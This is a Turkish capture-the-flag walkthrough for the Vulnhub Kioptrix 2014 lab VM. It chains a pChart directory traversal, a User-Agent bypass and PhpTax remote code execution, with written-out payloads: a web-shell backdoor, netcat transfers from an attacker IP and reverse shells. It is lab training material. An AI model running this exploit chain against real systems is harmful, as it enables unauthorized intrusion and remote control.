Yazıda kullanılan Kioptrix: Seviye – 1.4 (#5) sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/kioptrix_2014-5,62/
A) PhpTax Keşfi: pChart İstismarı ve User-Agent Tespiti
TCP taraması gerçekleştirildiğinde 80, 8080 ve 22 portlarının açık olduğu görülür. Ayrıca işletim sisteminin de FreeBSD olduğu görülmektedir.
nmap -A 172.20.50.130 -Pn -n –open
TCP 80 portuna web tarayıcı ile erişim sağlanabiliyorken, TCP 8080 portuna erişim sağlanamaya çalışıldığında yetki (403) hatası alınmaktadır. Yapılacak keşif ile bu hatanın sebebinin “httpd.conf” dosyasındaki User-Agent kısıtı olduğu görülecektir. FreeBSD sunucudaki “httpd.conf” dosyasına erişmek için de 80 portunda hizmet veren uygulamadaki dizin gezinimi zafiyeti istismar edilecektir.
A.1) pChart 2.1.3 PHP Kütüphanesindeki Dizin Gezinimi Zafiyetinin İstismarı
TCP 80 portundaki web hizmetinin sunduğu sayfanın kaynak kodu incelendiğinde pChart 2.1.3 kullanıldığı görülür.
Bu sürümde Dizin Gezinme (Directory Traversal) zafiyeti bulunmaktadır.
searchsploit pChart
cat /usr/share/exploitdb/platforms/php/webapps/31173.txt
Zafiyetin istismar edilerek uygulama kullanıcısı yetkileri (www) ile dosyalar okunabilmektedir.
http://172.20.50.130/pChart2.1.3/examples/index.php?Action=View&Script=/etc/passwd
A.2) User-Agent Keşfi
TCP 8080 portuna erişim sağlanmak istendiğinde yetki hatası alınmaktadır. Bu hatanın bir çok sebebi olabilir. Ana sebebi öğrenmek için “/usr/local/etc/apache22/httpd.conf” dosyası okunabilir.
http://172.20.50.130/pChart2.1.3/examples/index.php?Action=View&Script=/usr/local/etc/apache22/httpd.conf
Not: Hedef sanal makine FreeBSD‘dir. FreeBSD diğer Linux tabanlı işletim sistemlerinden farklı olarak Apache logları varsayılan olarak “var/log/apache/access.log” dosyasında değil “/var/log/httpd-access.log” dosyasında saklar; Apache veri dizini olarak varsayılan durumda “/var/www/” dizinini değil “/usr/local/www/apache22/data” dizinini kullanır. Bu sebeple “httpd.conf” dosyası “/usr/local/etc/apache22/” dizininde aranmıştır.
İstenilen User-Agent (Mozilla/4.0 Mozilla4_browser) ile 8080 portuna erişim sağlanabildiği görülmektedir.
curl -H “User-Agent:Mozilla/4.0” http://172.20.50.130:8080
curl -H “User-Agent:Mozilla/4.0” http://172.20.50.130:8080/phptax
Benzer olarak Burp Suite gibi bir vekil uygulama ile araya girilerek User-Agent bilgisi değiştirilince de sayfaya erişim sağlanabilir.
Not: User-Agent değerini kaba kuvvet yöntemi ile tespit etmek için Github bağlantısındaki gibi Curl aracı da kullanılabilir.
https://gist.github.com/Maleus/6a062c3141c78d51e163
for satir in $(cat Liste); do curl -s -IL -A $satir -w %{http_code} http://172.20.50.130:8080 -o /dev/null; echo “–$satir”; done
B) PhpTax 0.8 Uygulamasındaki Uzaktan Komut Çalıştırma Zafiyetinin İstismarı
Normalde erişim sağlanamayan TCP 8080 portundaki web servisine erişim sağlanarak “/phptax/” dizini keşfedilmişti. PhpTax, gelir vergisi raporu üretmek için kullanılan bir yazılımdır. Bu yazılımda bulunan uzaktan kod çalıştırma (Remote Code Execution – RCE) zafiyeti ile işletim sistemine uygulama kullanıcı yetkileri (www) ile erişim sağlanabilir.
B.1) MSF phptax_exec İstismar Modülü ile Komut Satırına Erişim
MSF phptax_exec istismar modülü ile komut satırı erişimi elde etmek için modül seçenekleri incelenir.
search phptax
use exploit/multi/http/phptax_exec
show options
Seçenekler ayarlanarak istismar işlemi gerçekleştirilir ve varsayılan Payload (cmd/unix/reverse) ile komut satırına erişim sağlanır.
set RHOST 172.20.50.130
set RPORT 8080
exploit
id
B.2) Manuel Olarak Komut Satırına Erişim
PhpTax yazılımı ile ilgili zafiyet için Exploit-db‘den araştırma yapılabilir. Benzer olarak searchsploit aracı ile de zafiyetlere ait istismar kodları çevrimdışı olarak listelenebilir.
searchsploit phptax
head -45 /usr/share/exploitdb/platforms/php/webapps/21665.txt | tail -25
Zafiyetin istismarı için ABCDE ile belirtilen yere istenilen komutun yazılması gerekmektedir.
http://172.20.50.130:8080/phptax/drawimage.php?pfilez=xxx;ABCDE;&pdf=make
21665.txt dosyasındaki adımlari gerçekleştirmek için öncelikle “nc” dosyasının yeri “/usr/bin/nc” olarak bulunur.
http://172.20.50.130:8080/phptax/drawimage.php?pfilez=xxx;%20which%20nc%20%3E%20ncDosyasininYeri.txt;&pdf=make
Ancak belirtilen işlemler (“/usr/bin/nc -v -l -p 23235 -e /bin/bash” gibi) yapılmasına rağmen, FreeBSD işletim sisteminde “nc” aracının çalıştırma (execute) seçeneği olmadığı için, erişim elde edilememiştir. Bunun üzerine komut enjeksiyonu zafiyeti barındıran bir sayfa (arka kapı) oluşturularak bu sayfanın çağırılması sağlanmıştır. Komut enjeksiyonu için aşağıdaki satırı içeren bir dosya kullanılacaktır.
1 |
<?php $sonuc=$_GET['komut']; echo `$sonuc`; ?> |
Yukarıdaki ifadede bulunan özel karakterler kaçış karakteri (“\”) ile bir dosyaya yazdırılabilir.
1 2 3 4 |
echo "<?php $sonuc=$_GET['komut']; echo `$sonuc`; ?>" > YeniSayfa.php cat YeniSayfa.php echo "<?php \$sonuc=\$_GET['komut']; echo `\$sonuc`; ?>" > YeniSayfa.php cat YeniSayfa.php |
“ABCDE” ile belirtilen kısma yukarıdaki ifade yazıldığında ilgili sayfa hedef sanal makinede oluşur.
1 |
http://172.20.50.130:8080/phptax/drawimage.php?pfilez=xxx;echo "<?php \$sonuc=\$_GET['komut']; echo `\$sonuc`; ?>" > YeniSayfa.php;&pdf=make |
Yeni sayfa üzerinden istenilen komut çalıştırılabilir.
http://172.20.50.130:8080/phptax/YeniSayfa.php?komut=pwd;echo “—-“;id;echo “—-“;uname -a;echo “—-“;whereis nc
Komut satırı erişimi elde etmek için hedef sisteme Kali üzerindeki zararli bir PHP dosyası (kurban makinenin erişim sağlayacağı saldırgan makineye ait IP ve Port bilgileri ayarlanarak) yüklenebilir.
grep CHANGE /usr/share/webshells/php/php-reverse-shell.php
nc -nlvp 13579 < /usr/share/webshells/php/php-reverse-shell.php
http://172.20.50.130:8080/phptax/YeniSayfa.php?komut=/usr/bin/nc 172.20.50.128 13579 > ZararliDosya.php &
Dinleyici başlatıldıktan sonra bu dosya çağırılarak komut satırı erişimi elde edilebilir.
nc -nlvp 5555
http://172.20.50.130:8080/phptax/ZararliDosya.php
Not: TechOrganic blog yazısında olduğu gibi ABCDE ile bırakılan kısma “printf” ve “GET” fonksiyonları kullanılarak uzantısı “txt” olarak değiştirilmiş zararlı dosya hedefe yüklenebilir ve yüklenen dosya (Kali-php-reverse-shell.php) çağrıldığında komut satırı erişimi elde edilebilir.
printf “GET http://172.20.50.128/Kali-php-reverse-shell.txt HTTP/1.0\r\n\r\n” > ZararliDosya.txt
nc 172.20.50.128 80 < ZararliDosya.txt > Kali-php-reverse-shell.php
nc -nlvp 5555
Kaynaklar:
http://www.hackingarticles.in/hack-kioptrix-vm-ctf-challenge/
[VULNHUB] Kioptrix: 2014 (#5)
https://blog.techorganic.com/2014/04/08/kioptrix-hacking-challenge-part-5/